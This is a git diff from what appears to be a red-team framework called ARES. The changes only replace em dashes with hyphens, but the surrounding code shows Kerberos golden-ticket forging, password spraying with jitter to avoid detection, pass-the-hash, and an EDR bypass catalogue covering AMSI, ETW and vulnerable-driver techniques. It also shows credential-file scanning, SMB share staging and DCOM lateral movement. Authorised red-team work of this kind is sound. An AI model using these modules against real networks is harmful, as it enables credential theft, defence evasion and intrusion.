S-1-5-21-<sub1>-<sub2>-<sub3>",module_id=self.MODULE_ID, field="domain_sid",@@ -293,12 +293,12 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):krbtgt_hash = kwargs.get("krbtgt_hash", "")domain_sid = kwargs.get("domain_sid", "")username = kwargs.get("username", "Administrator") # identity to forge as- # Sanitize username before using in path — prevent path traversal in tempdir+ # Sanitize username before using in path - prevent path traversal in tempdirimport re as _re_pathusername = _re_path.sub(r"[^\w.-]", "_", username)target = kwargs.get("target", "")dry_run = kwargs.get("dry_run", False)- # Scope + rate-limit check — domain is the "target" for golden ticket+ # Scope + rate-limit check - domain is the "target" for golden ticketif domain and not dry_run:await self.before_request(domain, "golden_ticket")@@ -324,7 +324,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):def _forge() -> tuple[bool, str, str]:"""Forge Golden Ticket using impacket.krb5 library directly.- Drops the old subprocess ticketer approach — unstable, PATH-dependent.+ Drops the old subprocess ticketer approach - unstable, PATH-dependent.Uses impacket.krb5.ticket + CCache to build a valid TGT from the krbtgt hash."""try:diff --git a/ares/modules/credential/pass_spray.py b/ares/modules/credential/pass_spray.pyindex 912cca3..3cdc63d 100644--- a/ares/modules/credential/pass_spray.py+++ b/ares/modules/credential/pass_spray.py@@ -1,5 +1,5 @@"""-Password Spray — Low-and-Slow Authentication Testing+Password Spray - Low-and-Slow Authentication TestingMITRE: T1110.003Tries ONE password against MANY accounts to avoid lockouts.@@ -52,13 +52,13 @@ def query_password_policy(Uses this to auto-calculate the safest spray rate.Returns dict with:- lockout_threshold — max failed attempts before lockout (0 = no lockout)- lockout_duration_min — minutes until auto-unlock- observation_window_min — minutes before failed-attempt counter resets- min_password_length — minimum password length enforced- password_history_length — number of remembered passwords- safe_spray_delay_s — calculated safe delay between attempts per user- safe_attempts_per_user — max attempts per user before lockout risk+ lockout_threshold - max failed attempts before lockout (0 = no lockout)+ lockout_duration_min - minutes until auto-unlock+ observation_window_min - minutes before failed-attempt counter resets+ min_password_length - minimum password length enforced+ password_history_length - number of remembered passwords+ safe_spray_delay_s - calculated safe delay between attempts per user+ safe_attempts_per_user - max attempts per user before lockout risk"""result: dict[str, Any] = {"error": None, "policy_found": False}try:@@ -80,7 +80,7 @@ def query_password_policy(except Exception:conn = Noneif not conn:- result["error"] = "LDAP bind failed — cannot query password policy"+ result["error"] = "LDAP bind failed - cannot query password policy"return resultbase_dn = ",".join(f"DC={p}" for p in domain.upper().split("."))@@ -110,7 +110,7 @@ def query_password_policy(# Calculate safe spray parametersif threshold == 0:- safe_attempts = 10 # no lockout policy — still be cautious+ safe_attempts = 10 # no lockout policy - still be cautioussafe_delay = 5.0else:safe_attempts = max(1, threshold - 2) # stay 2 below threshold@@ -229,7 +229,7 @@ def generate_smart_wordlist()class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):"""- credential.pass_spray — Low-and-slow password spray against domain accounts — built-in lockout protection, one password+ credential.pass_spray - Low-and-slow password spray against domain accounts - built-in lockout protection, one passwordOPSEC: MEDIUMMITRE: "T1110.003"@@ -240,7 +240,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):MODULE_NAME = "Password Spray"MODULE_CATEGORY = "credential"MODULE_DESCRIPTION = (- "Low-and-slow password spray against domain accounts — "+ "Low-and-slow password spray against domain accounts - ""built-in lockout protection, one password per round")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -282,7 +282,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):if noise == NoiseProfile.STEALTH:score = 0.35risk = "high_noise"- blockers.append("Password spraying generates rapid Event ID 4625 failed logins — strictly blocked in STEALTH mode")+ blockers.append("Password spraying generates rapid Event ID 4625 failed logins - strictly blocked in STEALTH mode")opsec_tuning["note"] = ("Password spraying in STEALTH profile creates Event ID 4625 failed logons. ""Recommend offline cracking techniques that never touch target authenticators."@@ -300,7 +300,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):or (isinstance(threshold, (int, float)) and threshold <= 5))if is_strict:- blockers.append("Strict lockout policy detected (threshold <= 5) — password spraying blocked to avoid account lockouts")+ blockers.append("Strict lockout policy detected (threshold <= 5) - password spraying blocked to avoid account lockouts")score = 0.1risk = "critical_alarm"opsec_tuning["safe_spray_rate"] = "1 attempt per 45 minutes"@@ -339,12 +339,12 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):passwords = ctx.params.get("passwords", [])if not target:raise ModuleValidationError(- "credential.pass_spray requires 'target' — DC IP or hostname.",+ "credential.pass_spray requires 'target' - DC IP or hostname.",module_id=self.MODULE_ID, field="target",)if not users:raise ModuleValidationError(- "credential.pass_spray requires 'users' list — "+ "credential.pass_spray requires 'users' list - ""provide via params or pipe from ad.enum_users output.",module_id=self.MODULE_ID, field="users",)@@ -459,7 +459,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):dry_run = kwargs.get("dry_run", False)delay_s = float(kwargs.get("delay_seconds", 1.0))max_per_user = int(kwargs.get("max_attempts_per_user", 1))- # LDAP mode: use ldap3 SIMPLE bind instead of SMB — fallback when port 445 blocked+ # LDAP mode: use ldap3 SIMPLE bind instead of SMB - fallback when port 445 blockeduse_ldap = bool(kwargs.get("use_ldap", False))ldap_port = int(kwargs.get("ldap_port", 389))@@ -477,7 +477,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):from impacket.smbconnection import SMBConnection # type: ignore[import]smb_available = Trueexcept ImportError:- use_ldap = True # impacket missing — try ldap3+ use_ldap = True # impacket missing - try ldap3if use_ldap or not smb_available:try:@@ -508,14 +508,14 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):# Rate limiting per attempt to strictly respect LDAP/SMB noise profile & avoid lockoutawait self.noise.rate_limiter.acquire(rate_bucket)- # Jitter — random timing variation prevents regular spray pattern detection+ # Jitter - random timing variation prevents regular spray pattern detectionawait self.noise.jitter.sleep()if delay_s > 0:await asyncio.sleep(delay_s)def _try_login(u=user, p=password):if use_ldap:- # LDAP SIMPLE bind — fallback when SMB 445 is blocked+ # LDAP SIMPLE bind - fallback when SMB 445 is blockedtry:import ldap3import ssl@@ -526,7 +526,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):use_ssl=use_ssl, tls=tls_arg,connect_timeout=8,)- # SIMPLE bind — UPN format: user@domain+ # SIMPLE bind - UPN format: user@domainupn = f"{u}@{domain}" if domain else uconn = ldap3.Connection(server, user=upn, password=p,@@ -549,7 +549,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):return "locked"return "wrong_password"else:- # SMB NTLM spray — standard mode+ # SMB NTLM spray - standard modetry:from impacket.smbconnection import SMBConnectionsmb = SMBConnection(target, target, timeout=8)@@ -586,7 +586,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):if valid_creds:for cred in valid_creds:- # Store credential in vault — password NEVER appears in finding+ # Store credential in vault - password NEVER appears in findingvault_id = ""try:from ares.credential.vault import Credential, CredentialType, PrivilegeLevel@@ -601,7 +601,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):)vault_id = vault.store(vc, secret=cred["password"])except Exception:- pass # vault unavailable — credential still in raw output for engine+ pass # vault unavailable - credential still in raw output for engineself.finding(title=f"Password Spray Success: {domain}\\{cred['username']}",@@ -630,7 +630,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):if locked_accounts:self.finding(- title=f"Account Lockout Detected During Spray — {len(locked_accounts)} Account(s)",+ title=f"Account Lockout Detected During Spray - {len(locked_accounts)} Account(s)",description=(f"Password spray caused lockout for: {locked_accounts}. ""Spray was stopped to prevent further lockouts."diff --git a/ares/modules/credential/pass_the_hash.py b/ares/modules/credential/pass_the_hash.pyindex f31f999..c215208 100644--- a/ares/modules/credential/pass_the_hash.py+++ b/ares/modules/credential/pass_the_hash.py@@ -41,7 +41,7 @@ logger = get_logger("ares.modules.credential.pass_the_hash"))class PassTheHashModule(BaseModule[PassTheHashParams, ModuleResult]):"""- credential.pass_the_hash — Authenticate to target using NTLM hash — no plaintext password required"+ credential.pass_the_hash - Authenticate to target using NTLM hash - no plaintext password required"OPSEC: MEDIUMMITRE: "T1550.002"@@ -52,7 +52,7 @@ class PassTheHashModule(BaseModule[PassTheHashParams, ModuleResult]):MODULE_NAME = "Pass-the-Hash"MODULE_CATEGORY = "credential"MODULE_DESCRIPTION = (- "Authenticate to target using NTLM hash — "+ "Authenticate to target using NTLM hash - ""no plaintext password required")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -141,13 +141,13 @@ class PassTheHashModule(BaseModule[PassTheHashParams, ModuleResult]):nt_hash = ctx.params.get("nt_hash", "") or ctx.params.get("hash", "")if not target:raise ModuleValidationError(- "credential.pass_the_hash requires 'target' — "+ "credential.pass_the_hash requires 'target' - ""IP or hostname of the host to authenticate against.",module_id=self.MODULE_ID, field="target",)if not nt_hash:raise ModuleValidationError(- "credential.pass_the_hash requires 'nt_hash' — "+ "credential.pass_the_hash requires 'nt_hash' - ""the 32-character NT hash from ad.dcsync output.",module_id=self.MODULE_ID, field="nt_hash",)diff --git a/ares/modules/credential/reuse.py b/ares/modules/credential/reuse.pyindex 1e8b780..cb902b9 100644--- a/ares/modules/credential/reuse.py+++ b/ares/modules/credential/reuse.py@@ -1,12 +1,12 @@"""-ARES Credential Module — Credential Reuse (T1078 / T1550.002)+ARES Credential Module - Credential Reuse (T1078 / T1550.002)Wraps ReuseEngine as a proper BaseModule so it can be registered inthe plugin loader and called as ``credential.reuse`` in chains/plans.MITRE ATT&CK:- T1078 — Valid Accounts- T1550.002 — Pass the Hash+ T1078 - Valid Accounts+ T1550.002 - Pass the Hash"""from __future__ import annotations@@ -70,13 +70,13 @@ class CredentialReuseModule(BaseModule[CredentialReuseParams, ModuleResult]):target = getattr(ctx, "target", "") or ctx.params.get("target", "")if not target:raise ModuleValidationError(- "credential.reuse requires 'target' — IP or hostname to test credentials against.",+ "credential.reuse requires 'target' - IP or hostname to test credentials against.",module_id=self.MODULE_ID, field="target",)vault = getattr(ctx, "vault", None)if not vault or not getattr(vault, "_store", None):raise ModuleValidationError(- "credential.reuse requires credentials in vault — "+ "credential.reuse requires credentials in vault - ""run ad.kerberoast/dcsync/pass_the_hash first.",module_id=self.MODULE_ID, field="vault",)@@ -88,7 +88,7 @@ class CredentialReuseModule(BaseModule[CredentialReuseParams, ModuleResult]):if getattr(ctx, "dry_run", False):return ModuleResult(status="dry_run", module_id=self.MODULE_ID,raw={"dry_run": True})- # Pass vault from ctx — it lives on ctx, NOT in ctx.params+ # Pass vault from ctx - it lives on ctx, NOT in ctx.paramsparams = dict(ctx.params)params.pop("target", None)params.pop("vault", None)@@ -188,7 +188,7 @@ class CredentialReuseModule(BaseModule[CredentialReuseParams, ModuleResult]):"dry_run": True,"valid_credentials": [],"owned_hosts": [],- "note": "dry-run — no credentials sprayed",+ "note": "dry-run - no credentials sprayed",}if vault is None:diff --git a/ares/modules/edr/__init__.py b/ares/modules/edr/__init__.pyindex 8d95909..4690fa1 100644--- a/ares/modules/edr/__init__.py+++ b/ares/modules/edr/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.edr+ARES - modules.edrEDR detection and adaptive evasion modules."""from __future__ import annotationsdiff --git a/ares/modules/edr/bypass_adaptive.py b/ares/modules/edr/bypass_adaptive.pyindex d16a2d5..ec57268 100644--- a/ares/modules/edr/bypass_adaptive.py+++ b/ares/modules/edr/bypass_adaptive.py@@ -1,5 +1,5 @@"""-edr.bypass_adaptive — Adaptive EDR Evasion Engine+edr.bypass_adaptive - Adaptive EDR Evasion EngineDetects EDR vendor and version from recon.fingerprint results,then selects and applies the appropriate evasion technique automatically.@@ -18,12 +18,12 @@ It enumerates which bypass techniques are applicable given the detectedEDR, and tests whether benign probes are detected.MITRE:- T1562.001 — Impair Defenses: Disable or Modify Tools- T1055 — Process Injection (test probe only)- T1027 — Obfuscated Files or Information- T1562.006 — Impair Defenses: Indicator Blocking (ETW patching)+ T1562.001 - Impair Defenses: Disable or Modify Tools+ T1055 - Process Injection (test probe only)+ T1027 - Obfuscated Files or Information+ T1562.006 - Impair Defenses: Indicator Blocking (ETW patching)-OPSEC: MEDIUM — some detection tests may trigger EDR telemetry+OPSEC: MEDIUM - some detection tests may trigger EDR telemetry"""from __future__ import annotations@@ -86,7 +86,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [technique_id="amsi-force-error",name="AMSI Force Error via Context Corruption",description="Corrupt AmsiContext pointer to force AMSI initialization failure. "- "Lower detection than reflection method — no assembly load needed.",+ "Lower detection than reflection method - no assembly load needed.",target_vendor=["defender_atp", "defender_av", "crowdstrike"],opsec_level="low",mitre_id="T1562.001",@@ -193,7 +193,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [BypassTechnique(technique_id="lolbin-mshta",name="MSHTA LOLBin Execution",- description="Use mshta.exe to execute HTA files — signed Microsoft binary, "+ description="Use mshta.exe to execute HTA files - signed Microsoft binary, ""bypasses application whitelisting and static analysis.",target_vendor=["cylance", "carbon_black"],opsec_level="medium",@@ -203,7 +203,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [BypassTechnique(technique_id="lolbin-wmic",name="WMIC LOLBin for Script Execution",- description="Use wmic.exe process call create for code execution — "+ description="Use wmic.exe process call create for code execution - ""bypasses script-based detection when script is not on disk.",target_vendor=["cylance", "carbon_black", "defender_av"],opsec_level="medium",@@ -215,7 +215,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [BypassTechnique(technique_id="generic-in-memory-exec",name="In-Memory Execution (No Disk Write)",- description="Load and execute payload entirely in memory — never writes to disk. "+ description="Load and execute payload entirely in memory - never writes to disk. ""Bypasses file-based detection and AV scanning.",target_vendor=["*"], # all vendorsopsec_level="medium",@@ -307,10 +307,10 @@ _EDR_BLIND_SPOTS: dict[str, list[dict[str, str]]] = {)class EDRAdaptiveBypassModule(BaseModule):"""- edr.bypass_adaptive — Adaptive EDR evasion engine.+ edr.bypass_adaptive - Adaptive EDR evasion engine.Reads EDR detection results from recon.fingerprint and selects the- optimal evasion strategy. Does NOT generate payloads — outputs technique+ optimal evasion strategy. Does NOT generate payloads - outputs techniquerecommendations and probes which approaches are viable.OPSEC: MEDIUM@@ -323,7 +323,7 @@ class EDRAdaptiveBypassModule(BaseModule):MODULE_CATEGORY = "edr"MODULE_DESCRIPTION = ("Detect EDR vendor from fingerprint results and select optimal evasion techniques. "- "Outputs ranked bypass techniques with OPSEC notes — does not generate payloads."+ "Outputs ranked bypass techniques with OPSEC notes - does not generate payloads.")MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.MEDIUM@@ -517,7 +517,7 @@ class EDRAdaptiveBypassModule(BaseModule):**kwargs: Any,) -> tuple[list[Finding], dict[str, Any]]:"""- Note: before_request() not called — this module analyzes EDR data+ Note: before_request() not called - this module analyzes EDR dataand runs local probes. Network calls to target are minimal/optional."""audit("edr_bypass_selection", actor="operator",@@ -564,7 +564,7 @@ class EDRAdaptiveBypassModule(BaseModule):if "*" in tech.target_vendor or vendor_lower in tech.target_vendor:applicable.append(tech)- # BYOVD techniques (universal — always append as last resort)+ # BYOVD techniques (universal - always append as last resort)byovd = list(_BYOVD_TECHNIQUES)# Sort user-mode by OPSEC level (low-noise first), BYOVD always last@@ -602,7 +602,7 @@ class EDRAdaptiveBypassModule(BaseModule):plan = []if not techniques:return [{"step": 1, "action": "No specific bypass identified",- "detail": "EDR vendor unknown — use generic in-memory execution techniques"}]+ "detail": "EDR vendor unknown - use generic in-memory execution techniques"}]for i, tech in enumerate(techniques[:5], 1):plan.append({@@ -634,7 +634,7 @@ class EDRAdaptiveBypassModule(BaseModule):# Try to get DB from settings (injected via campaign context)db = getattr(self, "_db_ref", None)if not db or not hasattr(db, "get_bypass_success_rate"):- return techniques # No DB available — return as-is+ return techniques # No DB available - return as-isrates: dict = {}import asyncio as _aio@@ -651,16 +651,16 @@ class EDRAdaptiveBypassModule(BaseModule):try:coro = db.get_bypass_success_rate(t.technique_id, edr_vendor)if running_loop is None:- # No running loop — asyncio.run() is safe+ # No running loop - asyncio.run() is saferate = _aio.run(coro)else:- # Inside async context — run in separate thread with its own loop+ # Inside async context - run in separate thread with its own loopwith _cf.ThreadPoolExecutor(max_workers=1) as _pool:rate = _pool.submit(_aio.run, coro).result(timeout=5.0)if rate is not None:rates[t.technique_id] = rateexcept Exception:- pass # DB unavailable or timeout — skip ranking for this technique+ pass # DB unavailable or timeout - skip ranking for this techniqueif not rates:return techniques@@ -670,11 +670,11 @@ class EDRAdaptiveBypassModule(BaseModule):opsec_order = {"low": 0, "medium": 1, "high_noise": 2}opsec_val = opsec_order.get(t.opsec_level, 1)if rate is None:- return (1, opsec_val) # unknown — middle rank+ return (1, opsec_val) # unknown - middle rankelif rate >= 0.80:- return (0, opsec_val) # promote — proven effective+ return (0, opsec_val) # promote - proven effectiveelif rate <= 0.30:- return (2, opsec_val) # demote — likely patched+ return (2, opsec_val) # demote - likely patchedelse:return (1, opsec_val) # normal rank@@ -692,15 +692,15 @@ class EDRAdaptiveBypassModule(BaseModule):"""Run a harmless probe to verify a bypass technique is still effectiveagainst the target EDR. Returns True = applicable, False = blocked/patched.- Fails open (returns True) on timeout or error — red team should still try.+ Fails open (returns True) on timeout or error - red team should still try.Only executes if technique.probe_safe=True and a run_cmd runner is provided."""if not technique.probe_safe:- return True # BYOVD, etc — cannot probe safely, assume applicable+ return True # BYOVD, etc - cannot probe safely, assume applicableif not run_cmd:- return True # No SSH/shell runner provided — assume works+ return True # No SSH/shell runner provided - assume works- # Safe probe commands — each echoes PROBE_OK if the technique is applicable+ # Safe probe commands - each echoes PROBE_OK if the technique is applicable_PROBES = {"amsi-patch-reflection":"powershell -NoP -NonI -c "@@ -743,7 +743,7 @@ class EDRAdaptiveBypassModule(BaseModule):probe_cmd = _PROBES.get(technique.technique_id)if not probe_cmd:- return True # No probe defined for this technique — assume works+ return True # No probe defined for this technique - assume workstry:raw = await asyncio.wait_for(run_cmd(probe_cmd), timeout=10.0)@@ -761,7 +761,7 @@ class EDRAdaptiveBypassModule(BaseModule):logger.debug("edr_probe_error",technique=technique.technique_id,error=str(exc)[:60])- return True # Fail open — red team should try+ return True # Fail open - red team should tryasync def _select_techniques_with_probe(self,@@ -812,7 +812,7 @@ class EDRAdaptiveBypassModule(BaseModule):mitre_technique="T1562.001",mitre_tactic="Defense Evasion",evidence={"edr_vendor": edr_vendor, "techniques_checked": len(_BYPASS_TECHNIQUES)},- remediation="N/A — informational for red team",+ remediation="N/A - informational for red team",host=target or "local",confidence=0.60,)@@ -822,13 +822,13 @@ class EDRAdaptiveBypassModule(BaseModule):medium = [t for t in viable if t.opsec_level == "medium"]self.finding(- title=f"EDR Bypass Techniques Available for {edr_vendor} — {len(viable)} Applicable",+ title=f"EDR Bypass Techniques Available for {edr_vendor} - {len(viable)} Applicable",description=(f"Detected {edr_vendor}. Found {len(viable)} applicable evasion techniques: "f"{len(low_noise)} low-noise, {len(medium)} medium-noise. "f"Recommended first approach: {viable[0].name}. "f"This technique targets: {', '.join(viable[0].target_vendor[:3])}. "- "Apply techniques in order of OPSEC level — lowest noise first."+ "Apply techniques in order of OPSEC level - lowest noise first."),severity=Severity.HIGH,mitre_technique="T1562.001",@@ -853,12 +853,12 @@ class EDRAdaptiveBypassModule(BaseModule):# Blind spots findingif blinds:self.finding(- title=f"EDR Blind Spots for {edr_vendor} — {len(blinds)} Coverage Gaps",+ title=f"EDR Blind Spots for {edr_vendor} - {len(blinds)} Coverage Gaps",description=(f"Identified {len(blinds)} telemetry gaps in {edr_vendor} coverage. "f"Exploiting blind spots is more OPSEC-safe than active bypass techniques "f"because no EDR hooks are touched. "- f"Top gap: {blinds[0]['gap']} — {blinds[0]['detail'][:150]}"+ f"Top gap: {blinds[0]['gap']} - {blinds[0]['detail'][:150]}"),severity=Severity.MEDIUM,mitre_technique="T1562.006",@@ -875,12 +875,12 @@ class EDRAdaptiveBypassModule(BaseModule):# BYOVD warning findingif byovd:self.finding(- title=f"BYOVD Techniques Available — {len(byovd)} Universal Kernel-Level Bypasses",+ title=f"BYOVD Techniques Available - {len(byovd)} Universal Kernel-Level Bypasses",description=("BYOVD (Bring Your Own Vulnerable Driver) techniques can disable ALL ""user-mode and kernel-mode EDR hooks regardless of vendor. "f"Available: {byovd[0].name}. "- "HIGH NOISE — use only as last resort when user-mode techniques fail. "+ "HIGH NOISE - use only as last resort when user-mode techniques fail. ""Requires admin rights and may trigger Windows Event 7045."),severity=Severity.HIGH,@@ -901,7 +901,7 @@ class EDRAdaptiveBypassModule(BaseModule):# ══════════════════════════════════════════════════════════════════════════- # Deep EDR Probe Methods — Real detection testing, not theoretical scoring+ # Deep EDR Probe Methods - Real detection testing, not theoretical scoring# ══════════════════════════════════════════════════════════════════════════async def deep_probe(@@ -912,12 +912,12 @@ class EDRAdaptiveBypassModule(BaseModule):Run comprehensive EDR detection testing on a compromised Windows host.Tests:- 1. AMSI status — is AMSI active? Can AmsiScanBuffer be patched?- 2. ETW providers — which ETW providers are active? Which can be blinded?- 3. Sysmon config — extract Sysmon config from registry (shows monitoring rules)- 4. ntdll hook detection — check if EDR hooked ntdll.dll syscall stubs- 5. PPL status — is Protected Process Light enabled?- 6. Credential Guard — is Credential Guard active?+ 1. AMSI status - is AMSI active? Can AmsiScanBuffer be patched?+ 2. ETW providers - which ETW providers are active? Which can be blinded?+ 3. Sysmon config - extract Sysmon config from registry (shows monitoring rules)+ 4. ntdll hook detection - check if EDR hooked ntdll.dll syscall stubs+ 5. PPL status - is Protected Process Light enabled?+ 6. Credential Guard - is Credential Guard active?Requires: SSH/WinRM/SMB exec access to target (compromised host).Returns detailed dict with each test result.diff --git a/ares/modules/exfil/__init__.py b/ares/modules/exfil/__init__.pyindex aecd145..ec7b5de 100644--- a/ares/modules/exfil/__init__.py+++ b/ares/modules/exfil/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.exfil+ARES - modules.exfilExfiltration and data collection modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/exfil/secrets_scan.py b/ares/modules/exfil/secrets_scan.pyindex 0b9b328..f20e3c9 100644--- a/ares/modules/exfil/secrets_scan.py+++ b/ares/modules/exfil/secrets_scan.py@@ -1,16 +1,16 @@"""-ARES Exfil Module — Secrets Scanner (T1552 / T1083)+ARES Exfil Module - Secrets Scanner (T1552 / T1083)Two live execution paths:- Linux/SSH — paramiko connect, run grep -rIl against /home /root /etc /opt /var/www,+ Linux/SSH - paramiko connect, run grep -rIl against /home /root /etc /opt /var/www,then grep each match for credential regex patterns, parse line hits.- Windows/WMI — impacket WMIEXEC, run PowerShell Get-ChildItem | Select-String+ Windows/WMI - impacket WMIEXEC, run PowerShell Get-ChildItem | Select-Stringagainst common config paths, parse JSON output.MITRE ATT&CK:- T1552 — Unsecured Credentials- T1552.001 — Credentials In Files- T1083 — File and Directory Discovery+ T1552 - Unsecured Credentials+ T1552.001 - Credentials In Files+ T1083 - File and Directory Discovery"""from __future__ import annotations@@ -89,7 +89,7 @@ def _ssh_scan(target: str, username: str, password: str = "","ssh_host_key_unverified",target=target,risk=(- "Host key not verified — MITM possible on untrusted networks. "+ "Host key not verified - MITM possible on untrusted networks. ""Pass known_hosts_file=<path> to enable strict verification."),)@@ -188,7 +188,7 @@ def _wmi_scan(target: str, username: str, password: str = "",)class SecretsScan(BaseModule):"""- exfil.secrets_scan — Scan filesystem for hardcoded credentials, API keys, private keys, and connection strings+ exfil.secrets_scan - Scan filesystem for hardcoded credentials, API keys, private keys, and connection stringsOPSEC: LOWMITRE: "T1552", "T1552.001", "T1083"@@ -217,7 +217,7 @@ class SecretsScan(BaseModule):target = getattr(ctx, "target", "") or ctx.params.get("target", "")if not target:raise ModuleValidationError(- "exfil.secrets_scan requires 'target' — IP or hostname.",+ "exfil.secrets_scan requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)diff --git a/ares/modules/exfil/smb_shares.py b/ares/modules/exfil/smb_shares.pyindex 7cab645..a83c9dc 100644--- a/ares/modules/exfil/smb_shares.py+++ b/ares/modules/exfil/smb_shares.py@@ -1,15 +1,15 @@"""-ARES Exfil Module — SMB Share Enumeration & Staging (T1039 / T1021.002)+ARES Exfil Module - SMB Share Enumeration & Staging (T1039 / T1021.002)Enumerates accessible SMB shares with impacket SMBConnection:1. connect() to target on port 445- 2. listShares() — get all share names- 3. listPath(share, "*") — recursively scan each share for sensitive filenames- 4. logoff() — clean disconnect+ 2. listShares() - get all share names+ 3. listPath(share, "*") - recursively scan each share for sensitive filenames+ 4. logoff() - clean disconnectMITRE ATT&CK:- T1039 — Data from Network Shared Drive- T1021.002 — Remote Services: SMB/Windows Admin Shares+ T1039 - Data from Network Shared Drive+ T1021.002 - Remote Services: SMB/Windows Admin Shares"""from __future__ import annotations@@ -83,7 +83,7 @@ def _list_share_recursive(conn: Any, share: str, path: str = "*",)class SmbSharesExfil(BaseModule):"""- exfil.smb_shares — Enumerate accessible SMB shares and scan for sensitive files including configs, keys, and credential+ exfil.smb_shares - Enumerate accessible SMB shares and scan for sensitive files including configs, keys, and credentialOPSEC: MEDIUMMITRE: "T1039", "T1021.002"@@ -112,7 +112,7 @@ class SmbSharesExfil(BaseModule):target = getattr(ctx, "target", "") or ctx.params.get("target", "")if not target:raise ModuleValidationError(- "exfil.smb_shares requires 'target' — IP of Windows/Samba host.",+ "exfil.smb_shares requires 'target' - IP of Windows/Samba host.",module_id=self.MODULE_ID, field="target",)@@ -260,7 +260,7 @@ class SmbSharesExfil(BaseModule):def _smb_enum_sync() -> tuple[list[str], list[str]]:"""- All blocking SMB operations in one sync function — runs in executor.+ All blocking SMB operations in one sync function - runs in executor.Wrapping in run_in_executor prevents freezing the event loop duringSMBConnection.login(), listShares(), and recursive listPath() calls."""diff --git a/ares/modules/exfil/staged_collection.py b/ares/modules/exfil/staged_collection.pyindex 4d90f25..118656f 100644--- a/ares/modules/exfil/staged_collection.py+++ b/ares/modules/exfil/staged_collection.py@@ -51,7 +51,7 @@ _COLLECTION_PATTERNS = [)class StagedCollectionModule(BaseModule):"""- exfil.staged_collection — "Search for high-value files (credentials, keys, configs, backups+ exfil.staged_collection - "Search for high-value files (credentials, keys, configs, backupsOPSEC: MEDIUMMITRE: "T1119", "T1039", "T1552"@@ -87,7 +87,7 @@ class StagedCollectionModule(BaseModule):)if not ctx.params.get("destination"):raise ModuleValidationError(- "exfil.staged_collection requires 'destination' — "+ "exfil.staged_collection requires 'destination' - ""UNC path or remote share to stage files to.",module_id=self.MODULE_ID, field="destination",)diff --git a/ares/modules/lateral/__init__.py b/ares/modules/lateral/__init__.pyindex c85ff7a..fa6bde1 100644--- a/ares/modules/lateral/__init__.py+++ b/ares/modules/lateral/__init__.py@@ -1,5 +1,5 @@"""-ARES — lateral movement modules+ARES - lateral movement modulesAll lateral movement classes. Import from here:diff --git a/ares/modules/lateral/dcom.py b/ares/modules/lateral/dcom.pyindex 66d6dd6..f0b9691 100644--- a/ares/modules/lateral/dcom.py+++ b/ares/modules/lateral/dcom.py@@ -5,15 +5,15 @@ MITRE: T1021.003 (Remote Services: Distributed Component Object Model)Uses DCOM COM objects to execute commands on remote Windows hosts.Three DCOM objects attempted in order (MMC20.Application is most reliable):- 1. MMC20.Application — Document.ActiveView.ExecuteShellCommand- 2. ShellWindows — Item(0).Document.Application.ShellExecute- 3. ShellBrowserWindow — Document.Application.ShellExecute+ 1. MMC20.Application - Document.ActiveView.ExecuteShellCommand+ 2. ShellWindows - Item(0).Document.Application.ShellExecute+ 3. ShellBrowserWindow - Document.Application.ShellExecuteAll three are documented Microsoft COM objects present in default Windowsinstallations. No additional software or service is required on the target.Requires: valid credentials with local admin rights on the target.-OPSEC: MEDIUM — DCOM traffic on port 135 + dynamic RPC ports.+OPSEC: MEDIUM - DCOM traffic on port 135 + dynamic RPC ports.Creates process on target (visible in process list / Event ID 4688).Less noisy than PsExec (no service creation / Event ID 7045).@@ -69,14 +69,14 @@ class DCOMLateral(BaseLateralModule):MODULE_NAME = "DCOM Lateral"MODULE_DESCRIPTION = ("DCOM lateral movement via MMC20.Application / ShellWindows COM objects "- "(T1021.003) — stealthier than PsExec, no service creation"+ "(T1021.003) - stealthier than PsExec, no service creation")OPSEC_LEVEL = OpsecLevel.MEDIUMREQUIRES = ["local_admin_creds"]OUTPUTS = ["lateral_session", "command_output"]MITRE_TECHNIQUES = ["T1021.003"]MODULE_AUTHOR = "ARES Team <[email protected]>"- MIN_NOISE_PROFILE = "normal" # blocked in stealth — creates remote process+ MIN_NOISE_PROFILE = "normal" # blocked in stealth - creates remote processPARAMS_MODEL = DCOMParamsasync def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":@@ -254,11 +254,11 @@ class DCOMLateral(BaseLateralModule):technique=LateralTechnique.DCOM,source_host="operator", target_host=target,username=username, domain=domain, success=False,- error="impacket not installed — pip install ares-redteam[ad]",+ error="impacket not installed - pip install ares-redteam[ad]",duration_ms=round((time.monotonic() - t0) * 1000, 2),)- # Parse credential — support cleartext and NTLM hash+ # Parse credential - support cleartext and NTLM hashlmhash, nthash = "", ""password = secretif ":" in secret and len(secret) in (65, 33):@@ -345,14 +345,14 @@ class DCOMLateral(BaseLateralModule):# All three methods exhaustedreturn False, "", (- "All DCOM methods failed — target may not be running "+ "All DCOM methods failed - target may not be running ""MMC20/ShellWindows/ShellBrowserWindow, or firewall blocks DCOM")except Exception as exc:err = str(exc).lower()if "access denied" in err or "rpc_s_access_denied" in err:- return False, "", f"Access denied — insufficient privileges on 